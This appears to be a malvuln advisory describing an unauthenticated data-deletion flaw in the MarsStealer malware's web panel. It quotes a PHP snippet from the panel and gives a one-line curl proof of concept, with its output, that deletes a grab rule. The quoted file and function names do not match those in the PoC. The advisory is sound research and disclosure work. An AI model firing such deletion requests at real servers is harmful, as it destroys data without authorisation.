Authored by malvuln | Site malvuln.com

Win32.MarsStealer Web Panel malware suffers from an unauthenticated remote data deletion vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Data Deletion
Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table.

PHP code snippet "markeractions.php"

require_once '../../db.php';

switch (trim($_POST['func'])) {
case "markeradd":
markeradd();
break;
case "markerdelete":
markerdelete();
break;
case "markeractive":
markeractive();
break;
}

Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0453
Disclosure: 01/15/2022

Exploit/PoC:
c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1"
"deleted"

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